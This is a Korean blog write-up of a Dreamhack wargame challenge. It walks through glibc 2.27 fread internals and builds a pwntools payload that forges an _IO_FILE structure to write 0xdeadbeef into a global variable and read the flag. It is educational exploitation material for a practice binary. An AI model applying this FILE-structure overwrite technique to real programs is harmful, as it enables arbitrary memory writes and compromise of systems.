• 티스토리 홈
  • 프로필사진
    satorare
  • 방명록
  • 공지사항
  • 태그
  • 블로그 관리
  • 글 작성
satorare
  • 프로필사진
    satorare
    • 분류 전체보기 (67)
      • book (3)
      • Translate (2)
      • bin (62)
      • wargame (0)
      • ctf (0)
  • 방문자 수
    • 전체:
    • 오늘:
    • 어제:
  • 최근 댓글
      등록된 댓글이 없습니다.
    • 최근 공지
      • ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⋯
      등록된 공지가 없습니다.
    # Home
    # 공지사항
    #
    # 태그
    # 검색결과
    # 방명록
    • _IO_FILE Arbitrary Address Write Write Up
      2023년 09월 11일
      • satorare
      • 작성자
      • 2023.09.11.:52

      Wargame Reference : https://dreamhack.io/wargame/challenges/367

       

      _IO_FILE Arbitrary Address Write

      Description Exploit Tech: _IO_FILE Arbitrary Address Write에서 실습하는 문제입니다.

      dreamhack.io

       


      0. Environment

       


      1. Analysis

      C Code

       

      #include <stdio.h>
      #include <unistd.h>
      #include <string.h>
      
      char flag_buf[1024];
      int overwrite_me;
      
      void init() {
         setvbuf(stdin, 0, 2, 0);
         setvbuf(stdout, 0, 2, 0);
      }
      
      int read_flag() {
         FILE *fp;
         fp = fopen("/home/iofile_aaw/flag", "r");
         fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
         
         write(1, flag_buf, sizeof(flag_buf));
         fclose(fp);
      }
      
      int main() {
         FILE *fp;
         
         char file_buf[1024];
         
         init();
         
         fp = fopen("/etc/issue", "r");
         
         printf("Data: ");
         
         read(0, fp, 300);
         
         fread(file_buf, 1, sizeof(file_buf)-1, fp);
         
         printf("%s", file_buf);
         
         if( overwrite_me == 0xDEADBEEF)
            read_flag();
         
         fclose(fp);
      }

       

      /etc/issue 파일을 읽기전용모드로 열고, 파일 포인터를 fp에 저장합니다.

       

      그 다음 파일 포인터 fp에 300바이트 만큼의 데이터를 입력할 수 있고, 이를 fread 함수를 통하여 file_buf에 읽어낸다음 출력합니다.

       

      그리고 전역 변수인 overwrite_me가 0xDEADBEEF라면 read_flag() 함수를 통해서 /home/iofile_aaw/flag 파일을 열고 읽고 출력합니다.

       

      여기서 fread, fgets와 같은 파일의 내용을 읽는 함수는 라이브러리 내에서 _IO_file_xsgetn 함수를 호출합니다.

       

      예시로 fread 함수를 보겠습니다. fread 함수는 다음과 같은 매크로로 정의됩니다.

       

      #define fread(p, m, n, s) _IO_fread (p, m, n, s)
      //glibc 2.27 /stdio-common/getw.c

       

      매크로로 정의되는 _IO_fread 함수는 다음과 같습니다.

       

      _IO_size_t
      _IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
      {
        _IO_size_t bytes_requested = size * count;
        _IO_size_t bytes_read;
        CHECK_FILE (fp, 0);
        if (bytes_requested == 0)
          return 0;
        _IO_acquire_lock (fp);
        bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
        _IO_release_lock (fp);
        return bytes_requested == bytes_read ? count : bytes_read / size;
      }
      libc_hidden_def (_IO_fread)

       

      이 함수는 내부적으로 _IO_sgetn 함수를 실행하고 이와 연관된 결과값을 반환하는데, _IO_sgetn 함수는 다음과 같습니다.

       

      _IO_size_t
      _IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
      {
        /* FIXME handle putback buffer here! */
        return _IO_XSGETN (fp, data, n);
      }
      libc_hidden_def (_IO_sgetn)

       

      반환값인 _IO_ XSGETN은 다음과 같이 JUMP2 매크로를 이용하여 __xsgetn 함수 포인터를 실행합니다.

       

      #define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)

       

      여기서 __xsgetn 함수 포인터에는 런타임에 __GI__IO_file_xsgetn 함수가 들어가게 되는데, symbol versioning으로 인한 __GI_ 라는 prefix를 제외하면 실제 호출 함수는 _IO_file_xsgetn 함수를 호출하게 됩니다.

       

      따라서 fread 함수는 최종적으로 _IO_file_xsgetn 함수를 호출하며 이는 다음과 같습니다.

       

      _IO_size_t
      _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
      {
        _IO_size_t want, have;
        _IO_ssize_t count;
        char *s = data;
      
        want = n;
      
        if (fp->_IO_buf_base == NULL)
          {
            /* Maybe we already have a push back pointer.  */
            if (fp->_IO_save_base != NULL)
      	{
      	  free (fp->_IO_save_base);
      	  fp->_flags &= ~_IO_IN_BACKUP;
      	}
            _IO_doallocbuf (fp);
          }
      
        while (want > 0)
          {
            have = fp->_IO_read_end - fp->_IO_read_ptr;
            if (want <= have)
      	{
      	  memcpy (s, fp->_IO_read_ptr, want);
      	  fp->_IO_read_ptr += want;
      	  want = 0;
      	}
            else
      	{
      	  if (have > 0)
      	    {
      	      s = __mempcpy (s, fp->_IO_read_ptr, have);
      	      want -= have;
      	      fp->_IO_read_ptr += have;
      	    }
      
      	  /* Check for backup and repeat */
      	  if (_IO_in_backup (fp))
      	    {
      	      _IO_switch_to_main_get_area (fp);
      	      continue;
      	    }
      
      	  /* If we now want less than a buffer, underflow and repeat
      	     the copy.  Otherwise, _IO_SYSREAD directly to
      	     the user buffer. */
      	  if (fp->_IO_buf_base
      	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
      	    {
      	      if (__underflow (fp) == EOF)
      		break;
      
      	      continue;
      	    }
      
      	  /* These must be set before the sysread as we might longjmp out
      	     waiting for input. */
      	  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
      	  _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
      
      	  /* Try to maintain alignment: read a whole number of blocks.  */
      	  count = want;
      	  if (fp->_IO_buf_base)
      	    {
      	      _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
      	      if (block_size >= 128)
      		count -= want % block_size;
      	    }
      
      	  count = _IO_SYSREAD (fp, s, count);
      	  if (count <= 0)
      	    {
      	      if (count == 0)
      		fp->_flags |= _IO_EOF_SEEN;
      	      else
      		fp->_flags |= _IO_ERR_SEEN;
      
      	      break;
      	    }
      
      	  s += count;
      	  want -= count;
      	  if (fp->_offset != _IO_pos_BAD)
      	    _IO_pos_adjust (fp->_offset, count);
      	}
          }
      
        return n - want;
      }
      libc_hidden_def (_IO_file_xsgetn)

       

      이 때 n값, 즉 want 값이 _IO_buf_end - _IO_buf_base 값보다 작은지를 검사하고 __underflow 함수를 실행하는데, 이 함수는 다시 _IO_UNDERFLOW 매크로를 반환하고, 이 매크로는 JUMP2 매크로에 의해서 __underflow 함수 포인터를 실행하게됩니다. __underflow 함수 포인터는 _IO_jump_t 구조체에 정의되어있으며 런타임에 _IO_new_file_underflow로 값이 결정됩니다.

       

       

      실제로 파일을 읽는 과정 자체는 이 _IO_new_file_underflow 함수로부터 시작이 됩니다.

       

      int
      _IO_new_file_underflow (_IO_FILE *fp)
      {
        _IO_ssize_t count;
      #if 0
        /* SysV does not make this test; take it out for compatibility */
        if (fp->_flags & _IO_EOF_SEEN)
          return (EOF);
      #endif
      
        if (fp->_flags & _IO_NO_READS)
          {
            fp->_flags |= _IO_ERR_SEEN;
            __set_errno (EBADF);
            return EOF;
          }
        if (fp->_IO_read_ptr < fp->_IO_read_end)
          return *(unsigned char *) fp->_IO_read_ptr;
      
        if (fp->_IO_buf_base == NULL)
          {
            /* Maybe we already have a push back pointer.  */
            if (fp->_IO_save_base != NULL)
      	{
      	  free (fp->_IO_save_base);
      	  fp->_flags &= ~_IO_IN_BACKUP;
      	}
            _IO_doallocbuf (fp);
          }
      
        /* Flush all line buffered files before reading. */
        /* FIXME This can/should be moved to genops ?? */
        if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
          {
      #if 0
            _IO_flush_all_linebuffered ();
      #else
            /* We used to flush all line-buffered stream.  This really isn't
      	 required by any standard.  My recollection is that
      	 traditional Unix systems did this for stdout.  stderr better
      	 not be line buffered.  So we do just that here
      	 explicitly.  --drepper */
            _IO_acquire_lock (_IO_stdout);
      
            if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
      	  == (_IO_LINKED | _IO_LINE_BUF))
      	_IO_OVERFLOW (_IO_stdout, EOF);
      
            _IO_release_lock (_IO_stdout);
      #endif
          }
      
        _IO_switch_to_get_mode (fp);
      
        /* This is very tricky. We have to adjust those
           pointers before we call _IO_SYSREAD () since
           we may longjump () out while waiting for
           input. Those pointers may be screwed up. H.J. */
        fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
        fp->_IO_read_end = fp->_IO_buf_base;
        fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
          = fp->_IO_buf_base;
      
        count = _IO_SYSREAD (fp, fp->_IO_buf_base,
      		       fp->_IO_buf_end - fp->_IO_buf_base);
        if (count <= 0)
          {
            if (count == 0)
      	fp->_flags |= _IO_EOF_SEEN;
            else
      	fp->_flags |= _IO_ERR_SEEN, count = 0;
        }
        fp->_IO_read_end += count;
        if (count == 0)
          {
            /* If a stream is read to EOF, the calling application may switch active
      	 handles.  As a result, our offset cache would no longer be valid, so
      	 unset it.  */
            fp->_offset = _IO_pos_BAD;
            return EOF;
          }
        if (fp->_offset != _IO_pos_BAD)
          _IO_pos_adjust (fp->_offset, count);
        return *(unsigned char *) fp->_IO_read_ptr;
      }
      libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

       

      중간에 _IO_SYSREAD 라는 함수가 보이는데, 이는 glibc에 다음과 같이 매크로로 정의되어있습니다.

       

      #define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)

       

      여기서 __read 함수 포인터는 위에서 __underflow 함수 포인터와 동일하게 _IO_jump_t 구조체의 멤버이며 위에서 보았듯이 __GI__IO_file_read 함수를 런타임에 할당받는 것을 볼 수 있습니다. 이 때 __GI_라는 prefix는 symbol versioning 이므로 실제로 실행하는 함수는 _IO_file_read 가 될 것 입니다.

       

      _IO_ssize_t
      _IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
      {
        return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
      	  ? __read_nocancel (fp->_fileno, buf, size)
      	  : __read (fp->_fileno, buf, size));
      }
      libc_hidden_def (_IO_file_read)

       

      _IO_file_read 는 위와 같이 정의되는데, 결과적으로 반환하는 값은 __read_nocancel과 __read 함수의 반환값입니다. 이 함수들은 glibc 2.27 sysdeps/unix/sysv/linux/read.c 에 다음과 같이 정의되어있습니다.

       

      왜 __read는 함수 포인터가 아니라 함수로써 실행되는가?

      더보기

      __read 함수 포인터로써 사용될 때 JUMP2 매크로가 타입을 vtable 타입으로 받기 때문에 그랬었고, 지금은 일반적인 함수 호출로써의 기능을 한다.

      /* Read NBYTES into BUF from FD.  Return the number read or -1.  */
      ssize_t
      __libc_read (int fd, void *buf, size_t nbytes)
      {
        return SYSCALL_CANCEL (read, fd, buf, nbytes);
      }
      libc_hidden_def (__libc_read)
      
      libc_hidden_def (__read)
      weak_alias (__libc_read, __read)
      libc_hidden_def (read)
      weak_alias (__libc_read, read)
      
      #if !IS_IN (rtld)
      ssize_t
      __read_nocancel (int fd, void *buf, size_t nbytes)
      {
        return INLINE_SYSCALL_CALL (read, fd, buf, nbytes);
      }
      #else
      strong_alias (__libc_read, __read_nocancel)
      #endif
      libc_hidden_def (__read_nocancel)

       

      중요한 점은 weak_alias 매크로로 인하여 __read 함수는 __libc_read로 별칭화된다는 것 입니다.

       

      따라서 __read 함수는 결과적으로 SYSCALL_CANCEL 매크로를,  __read_nocancel은 INLINE_SYSCALL_CALL 매크로를 실행하게 되는데, 이 두 개는 시스템 콜 호출을 수행하는 매크로로, 첫 번째로 받은 인자의 시스템 콜을 수행합니다.

       

      최종적으로는 둘 다 read 시스템 콜을 호출하게 됩니다.

       

      즉, _IO_file_read 함수는 내부적으로 read 시스템 콜을 호출하며 인자는 다음과 같습니다.

       

      read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);

       

      만약 이번 문제와 같이 파일 구조체를 고쳐쓸 수 있는 상황이라면, _fileno와 _IO_buf_base, _IO_buf_end 값 등을 조작하여 조건을 맞춰주어서 fread 함수 내의 read 함수를 실행시킨 뒤 특정 주소에 있는 변수의 값을 고치는 것도 가능할 것 입니다.

       

      공격 시나리오는 다음과 같습니다.

       

      1. read 함수를 통해 파일 구조체의 _fileno, _IO_buf_base와 _IO_buf_end를 조작
      2. 수정된 파일 구조체로 overwrite_me 전역 변수 값 덮어쓰기

       


       

      2. Exploit

      Modify FILE Sturct

       

      e = ELF("./iofile_aaw")
      
      overwrite_me = e.symbols['overwrite_me']
      
      payload = p64(0xfbad2488) #_flag
      payload += p64(0) #_IO_read_ptr
      payload += p64(0) #_IO_read_end
      payload += p64(0) #_IO_read_base
      payload += p64(0) #_IO_write_base
      payload += p64(0) #_IO_write_ptr
      payload += p64(0) #_IO_write_end
      payload += p64(overwrite_me) #_IO_buf_base
      payload += p64(overwrite_me+1024) #_IO_buf_end
      payload += p64(0) #_IO_save_base
      payload += p64(0) #_IO_backup_base
      payload += p64(0) #_IO_save_end
      payload += p64(0) #_markers
      payload += p64(0) #_chain
      payload += p64(0) #_fileno -> stdin

      왜 _flag를 0xfbad2488로 세팅해줘야하는가?

      더보기

       

      힙에 할당된 _IO_FILE_plus 구조체를 보면 플래그값이 0xfbad2488 로 설정되어 있고, 실질적으로 읽기 함수가 실행되는 _IO_SYSREAD가 내부에 존재하는 함수 _IO_new_file_underflow에 브레이크 포인트를 걸고 실행했을 때, 끝까지 플래그값이 유지되는 것을 볼 수 있습니다. 따라서 0xfbad2488이 옳은 플래그값입니다.

       

       (gdb.attach로 pause한 다음 브레이크포인트를 걸었습니다.)

       

       

      (여전히 0xfbad2488 플래그가 유지되는 것을 볼 수 있습니다.)

       

       

      저희는 fread에서 __underflow 함수를 호출하고, 그 안에 존재하는 read 시스템 콜을 이용하여 overwrite_me에 값을 덮어쓰는게 목적입니다.

       

      하지만 이 __underflow 함수를 실행하는데 조건문이 하나 존재하는데, 바로 다음과 같습니다.

       

      _IO_size_t
      _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
      {
        _IO_size_t want, have;
        _IO_ssize_t count;
        char *s = data;
      
        want = n;
      
        ...
      
        while (want > 0)
          {
            have = fp->_IO_read_end - fp->_IO_read_ptr;
            if (want <= have)
      	{
      	  memcpy (s, fp->_IO_read_ptr, want);
      	  fp->_IO_read_ptr += want;
      	  want = 0;
      	}
            else
      	{
      	  if (have > 0)
      	    {
      	      s = __mempcpy (s, fp->_IO_read_ptr, have);
      	      want -= have;
      	      fp->_IO_read_ptr += have;
      	    }
      
      	  /* Check for backup and repeat */
      	  if (_IO_in_backup (fp))
      	    {
      	      _IO_switch_to_main_get_area (fp);
      	      continue;
      	    }
      
      	  /* If we now want less than a buffer, underflow and repeat
      	     the copy.  Otherwise, _IO_SYSREAD directly to
      	     the user buffer. */
      	  if (fp->_IO_buf_base
      	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) // 이 부분
      	    {
      	      if (__underflow (fp) == EOF)
      		break;

       

      바로 fread의 2, 3번째 인자를 서로 곱한값(n 값 = want 값)보다 _IO_buf_end - _IO_buf_base 값이 커야한다는 것 입니다.

       

      이 때 fread 함수는 file_buf 배열을 인자로받고 2, 3번째인자는 각각 1과 "file_buf의 사이즈 -1"이므로 1*1023이 want 값으로 입력되게 됩니다.

       

      따라서 _IO_buf_end - _IO_buf_base가 1024보다 커야 하므로 _IO_buf_end는 _IO_buf_base보다 1024 이상의 높은 주소를 가져야하고 _IO_buf_base는 overwrite_me가 될 테니 _IO_buf_end 값을 overwrite_me+1024로 세팅한 것 입니다.

       

      또한 이 변경된 버퍼에 값을 표준 입력으로 받아들여야하므로 파일 디스크립터(_fileno)를 0(stdin)으로 세팅하면 값을 덮어씌울 준비가 끝납니다.

       

      Sending Data and Overwrite overwrite_me

       

      p.sendlineafter(b'Data: ', payload)
      
      p.send(p64(0xdeadbeef) + b'\x00'*(1024-8))

       

      변경된 파일 구조체를 fread 함수에 넘겨주어 내부의 read 시스템 콜을 표준 입력 파일 디스크립터로 실행시키면 입력을 한 번 더 받을 수 있게 됩니다. 이 때 값이 쓰여지는 곳이 overwrite_me 전역 변수이므로 조건문과 동일하게 0xdeadbeef를 값으로 넘겨주고 1024 바이트 중에서 남은 바이트를 채워주면 됩니다.

       

      1024 바이트를 모두 채워줘야하는 이유는 fread 함수 내부에서 파일을 읽을 때 자동으로 마지막에 EOF가 발생하여 함수를 종료하는데, fread의 내부에서 stdin으로 read 시스템 콜을 쓰는 경우에는 1024바이트 사이즈의 입력을 모두 받을때까지 함수가 대기합니다. 따라서 1024 바이트를 입력하지 못하면 입력이 끝나지않고 그대로 프로그램이 죽어버립니다.

       

      근데 실제로는 1023바이트까지만 채워줘도 가능한데? 그 이유는 모르겠습니다.

       

      Result

      최종 페이로드는 다음과 같습니다.

       

       

      페이로드 실행 결과 플래그를 획득할 수 있었습니다.

       

       


      3. Reference

       

      저작자표시 비영리 (새창열림)

      'bin' 카테고리의 다른 글

      [how2heap] first_fit.c  (0) 2024.09.03
      _IO_FILE Arbitrary Address Read Write Up  (0) 2023.10.16
      Bypass IO_validate_vtable Write Up  (0) 2023.09.03
      send_sig Write Up  (0) 2023.08.23
      SigReturn-Oriented Programming Write Up  (0) 2023.08.22
      다음글
      다음 글이 없습니다.
      이전글
      이전 글이 없습니다.
      댓글
    조회된 결과가 없습니다.
    스킨 업데이트 안내
    현재 이용하고 계신 스킨의 버전보다 더 높은 최신 버전이 감지 되었습니다. 최신버전 스킨 파일을 다운로드 받을 수 있는 페이지로 이동하시겠습니까?
    ("아니오" 를 선택할 시 30일 동안 최신 버전이 감지되어도 모달 창이 표시되지 않습니다.)
    목차
    표시할 목차가 없습니다.
      • 안녕하세요
      • 감사해요
      • 잘있어요

      티스토리툴바